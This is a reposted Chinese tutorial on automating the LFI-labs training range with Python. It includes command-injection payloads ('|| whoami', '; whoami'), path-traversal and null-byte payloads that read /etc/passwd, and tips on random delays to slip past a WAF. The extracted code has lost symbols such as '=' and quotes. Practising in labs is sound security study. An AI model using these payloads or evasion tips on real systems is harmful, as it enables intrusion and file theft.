换个角度看LFI-labs:用Python脚本自动化通关,顺便复习命令注入与文件包含
用Python脚本自动化通关LFI-labs从漏洞分析到批量测试实战第一次接触LFI-labs靶场时我像大多数人一样手动在浏览器里一关关测试。直到某天凌晨三点盯着第15次重复输入的payload突然意识到——这种重复劳动正是编程该解决的问题。本文将分享如何用Python将LFI-labs通关过程自动化同时深入解析命令注入与文件包含漏洞的实战技巧。1. 环境准备与靶场分析在开始编写自动化脚本前需要明确几个关键点靶场结构LFI-labs通常包含15-20个关卡按难度递增排列主要测试命令注入(CMD)和本地文件包含(LFI)两类漏洞技术栈Python 3.x requests库 BeautifulSoup可选典型特征早期关卡无过滤如CMD1直接执行系统命令中期关卡增加基础过滤如黑名单关键字后期关卡采用复合防御如后缀补全、路径检查提示建议先手动通关1-2关用Chrome开发者工具观察请求格式GET/POST参数、Headers等安装基础环境只需两行命令pip install requests beautifulsoup4 python -m pip install --upgrade pip2. 自动化测试框架设计一个健壮的自动化测试脚本应包含以下模块class LFITester: def __init__(self, base_url): self.session requests.Session() # 保持会话 self.base_url base_url # 靶场地址 self.proxies {http: http://127.0.0.1:8080} # 可选Burp Suite代理 def send_payload(self, level, payload, methodGET): url f{self.base_url}/cmd{level}.php if method GET: response self.session.get(url, params{cmd: payload}) else: response self.session.post(url, data{cmd: payload}) return self.parse_response(response.text)2.1 关键问题解决方案会话保持使用requests.Session()对象自动处理cookies响应解析正则匹配或BeautifulSoup提取关键信息编码处理对特殊字符进行URL编码from urllib.parse import quote payload quote(|| whoami) # 输出%7C%7C%20whoami3. 命令注入关卡实战突破3.1 基础命令注入CMD1-4以CMD3为例需要绕过whois命令限制def test_cmd3(tester): bypass_techniques [ example.com | whoami, example.com || whoami, example.com; whoami, example.com whoami ] for technique in bypass_techniques: result tester.send_payload(3, technique) if nt authority\\system in result: # Windows系统特征 print(f有效payload: {technique}) break常见绕过技术对比操作符作用适用场景管道符执行后续命令;连续执行命令Linux系统前命令成功时执行后续需要精确控制时3.2 高级过滤绕过CMD5-6面对复杂的正则过滤可采用参数污染技术payload whois -h 127.0.0.1||whoami|| facebook.com response tester.send_payload(5, payload, methodPOST)4. 文件包含漏洞自动化测试4.1 基础路径遍历LFI1-4处理自动补全.php后缀的技巧def test_lfi4(tester): payloads [ ../../../../etc/passwd, # 经典路径遍历 ....//....//etc/passwd, # 双写绕过 /var/www/html/index.php%00 # 空字节截断 ] for payload in payloads: result tester.send_payload(lfi4, payload) if root:x: in result: # /etc/passwd特征 print(f成功读取: {payload})4.2 高级包含技巧LFI11-14处理hidden表单字段的自动化方案def test_lfi11(tester): # 需要构造特殊的POST数据 data { hidden_param: ../../../../etc/passwd, submit: Submit } response tester.session.post( f{tester.base_url}/lfi11.php, datadata ) return response.text5. 实战技巧与性能优化在真实环境中应用这些技术时有几个经验值得分享速率控制添加随机延迟避免触发WAFimport time import random time.sleep(random.uniform(0.5, 2))结果验证建立指纹库识别成功利用SIGNATURES { linux: [root:x:, bin/bash], windows: [Windows IP Configuration, Administrator] }错误处理完善的异常捕获机制try: response tester.send_payload(level, payload) except requests.exceptions.ConnectionError: print(f[!] 连接失败检查靶场是否运行) return None最后分享一个实际项目中的教训有次自动化测试时因为忘记设置超时参数导致脚本卡死整整一晚。现在我的代码里一定会加上这个response self.session.get(url, timeout(3.05, 27))
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2491618.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!